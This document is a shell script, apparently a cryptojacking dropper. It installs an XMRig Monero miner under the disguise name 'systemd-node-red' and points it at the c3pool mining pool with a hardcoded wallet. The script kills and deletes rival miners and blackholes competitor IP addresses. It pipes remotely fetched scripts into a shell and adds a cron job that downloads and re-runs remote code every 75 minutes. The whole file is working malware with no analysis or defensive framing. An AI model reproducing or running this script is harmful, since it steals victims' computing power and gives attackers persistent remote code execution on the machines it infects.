#!/bin/sh
ORIGINAL_BINARY_NAME="xmrig-vrl"
RENAMED_BINARY="systemd-node-red"
BINARY_ARGS="-o auto.c3pool.org:443 -u 883kAB7UfoJCKPzZAavUCHJdH4L2qVjqw4A79diUrFjBWBFrerhXPFbbUZnY2CemcUiBcLpAUz38vVYBbUqTHAgoAwgBCFH"
PROCESS_CHECK_STRING="goAwgBCFH" #xtm wallet
set -e
log() {
echo "$(date '+%Y-%m-%d %H:%M:%S') - $1"
}
cleanup() {
if [ -n "$TMP_DIR" ] && [ -d "$TMP_DIR" ]; then
log "Cleaning up temporary directory: $TMP_DIR"
rm -rf "$TMP_DIR"
fi
}
trap cleanup EXIT
for pid in $(pgrep -f 'bash /tmp/.*\.sh'); do
if [ "$pid" != "$$" ] && [ "$pid" != "$PPID" ]; then
kill -9 "$pid" 2>/dev/null && echo "Killed process $pid"
fi
done
kill_and_remove_process() {
local term="$1"
if [ -z "$term" ]; then
echo "term not provided."
return 2
fi
local pids
pids=$(ps -eo pid,args | grep "$term" | grep -v grep | awk '{print $1}')
if [ -z "$pids" ]; then
return 1
fi
for pid in $pids; do
local exe_path
exe_path=$(readlink -f "/proc/$pid/exe" 2>/dev/null)
if [ -z "$exe_path" ]; then
echo "Skipping PID $pid"
continue
fi
# SAFETY CHECK: Exclude common system binary paths
case "$exe_path" in
/bin/*|/sbin/*|/usr/bin/*|/usr/sbin/*)
echo "Skipping system binary for PID $pid at: $exe_path"
continue # Move to the next PID
;;
esac
# If the checks pass, proceed with termination and deletion
echo "Terminating non-system process '$term' with PID: $pid"
kill -9 "$pid"
if [ -f "$exe_path" ]; then
echo "Deleting executable: $exe_path"
rm -f "$exe_path"
if [ $? -eq 0 ]; then
echo "Executable successfully deleted."
else
echo "Error: Failed to delete executable. Check permissions."
fi
else
echo "Executable for PID $pid not found for deletion (already removed or inaccessible)."
fi
done
return 0
}
kill_and_remove_process "crazyeltonproxy" || true
kill_and_remove_process "xmrig" || true
kill_and_remove_process "monero" || true
kill_and_remove_process "c3pool.org:80" || true
kill_and_remove_process "/bin/watcher" || true
kill_and_remove_process "nuclear" || true
kill_and_remove_process "45.94.31.89" || true
kill_and_remove_process "hosts-to-ignore" || true
kill_and_remove_process "supportxmr" || true
kill_and_remove_process "youyutebuae.xyz" || true
ip route add blackhole 45.94.31.89 || true
ip route add blackhole 139.59.59.33 || true
ip route add blackhole 154.89.152.115 || true
rm -rf /bin/softirq || true
rm -rf /usr/local/bin/watcher || true
rm -rf /tmp/runnv/* || true
rm -rf /tmp/nuclear || true
mkdir -p /tmp/nuclear || true
mkdir -p /tmp/runnv/lived.sh || true
mkdir -p /tmp/runnv/alive.sh || true
mkdir -p /bin/softirq || true
mkdir -p /usr/local/bin/watcher || true
is_process_running() {
if ps -o args | grep -F "$PROCESS_CHECK_STRING" | grep -vF 'grep' > /dev/null; then
return 0 # Process is running
else
return 1 # Process is not running
fi
}
get_cpu_cores() {
if [ -f /proc/cpuinfo ]; then
grep -c '^processor' /proc/cpuinfo
elif command -v nproc >/dev/null; then
nproc
elif command -v sysctl >/dev/null; then
sysctl -n hw.ncpu 2>/dev/null || echo 1
else
echo 1
fi
}
create_cronjob() {
local cron_command
if command -v curl >/dev/null; then
cron_command="/bin/sh -c 'curl -fsSLk $1 | tr -d '\''\r'\'' | /bin/sh'"
elif command -v wget >/dev/null; then
cron_command="/bin/sh -c 'wget -qO- $1 | tr -d '\''\r'\'' | /bin/sh'"
else
log "Error: Cannot create cron job, neither curl nor wget is available."
return 1
fi
(crontab -l 2>/dev/null | grep -vF "$1"; echo "*/75 * * * * $cron_command") | crontab -
log "Cron job successfully configured."
}
CPU_CORES=$(get_cpu_cores)
if [ "$CPU_CORES" -le 3 ]; then
log "Host has $CPU_CORES cores. Execution requires more than 3. Exiting."
exit 0
fi
log "CPU core count ($CPU_CORES) is sufficient."
if [ ! -f /etc/alpine-release ]; then
log "Not an Alpine Linux environment. Executing fallback script."
if command -v curl >/dev/null; then
curl -fsSLk "$FALLBACK_SCRIPT_URL" | tr -d '\r' | bash
elif command -v wget >/dev/null; then
wget -qO- "$FALLBACK_SCRIPT_URL" | tr -d '\r'| bash
else
log "Error: Neither curl nor wget is available for fallback execution."
exit 1
fi
exit 0
fi
if is_process_running; then
log "Process with check string '$PROCESS_CHECK_STRING' is already running. Exiting."
exit 0
fi
CPU_CORES=$(get_cpu_cores)
if [ "$CPU_CORES" -le 3 ]; then
log "Host has $CPU_CORES cores. Execution requires more than 3. Exiting."
exit 0
fi
log "CPU core count ($CPU_CORES) is sufficient."
USER_ID=$(id -u)
if [ "$USER_ID" -eq 0 ]; then
log "Running as root. System-wide installation will be performed."
INSTALL_DIR="/usr/local/bin"
else
log "Running as non-root user. Installing locally to $HOME/.app"
INSTALL_DIR="/tmp/.app"
fi
mkdir -p "$INSTALL_DIR"
if [ "$USER_ID" -ne 0 ]; then
export PATH="$INSTALL_DIR:$PATH"
fi
if [ "$USER_ID" -eq 0 ]; then
if ! command -v crontab >/dev/null; then
log "Warning: 'crontab' not found. Attempting to install 'cron' as root."
apk add --no-cache cron
rc-update add crond default
rc-service crond start
log "Cron installed and started."
fi
else
if ! command -v crontab >/dev/null; then
log "Warning: 'crontab' command not found. Cannot install as non-root. Cron job creation may fail."
fi
fi
TMP_DIR=$(mktemp -d)
cd "$TMP_DIR"
DOWNLOAD_URL="$PROGRAM_URL"
LOG_MESSAGE="Downloading program from $PROGRAM_URL..."
if [ -f /etc/alpine-release ] && [ "$(uname -m)" = "aarch64" ]; then
log "Alpine Linux on ARM64 detected. Switching to alternative program URL."
DOWNLOAD_URL="$PROGRAM_URL2"
LOG_MESSAGE="Downloading program from $PROGRAM_URL2..."
fi
log "$LOG_MESSAGE"
if command -v curl >/dev/null; then
curl -fsSLk -o "xmrig-vrl" "$DOWNLOAD_URL"
elif command -v wget >/dev/null; then
wget -qO "xmrig-vrl" "$DOWNLOAD_URL"
else
log "Error: Neither curl nor wget is available to download the program."
rm -rf "$TMP_DIR"
exit 1
fi
log "Now its protobin..."
#tar -xzf "program.tar.gz"
#tar -xf "program.tar.gz"
log "Searching for binary '$ORIGINAL_BINARY_NAME'..."
BINARY_PATH=$(find . -type f -name "$ORIGINAL_BINARY_NAME")
if [ -z "$BINARY_PATH" ]; then
log "Error: Executable binary '$ORIGINAL_BINARY_NAME' not found."
exit 1
fi
log "Binary found. Moving to $INSTALL_DIR/$RENAMED_BINARY"
mv "$BINARY_PATH" "$INSTALL_DIR/$RENAMED_BINARY"
chmod 755 "$INSTALL_DIR/$RENAMED_BINARY"
log "Executing '$RENAMED_BINARY' from PATH..."
"$RENAMED_BINARY" ${BINARY_ARGS} &
sleep 3
if ! is_process_running; then
log "Error: Program failed to start or exited prematurely."
exit 1
fi
log "Success: Program is now running in the background."
create_cronjob "$SCRIPT_URL"
log "Script execution completed successfully."
exit 0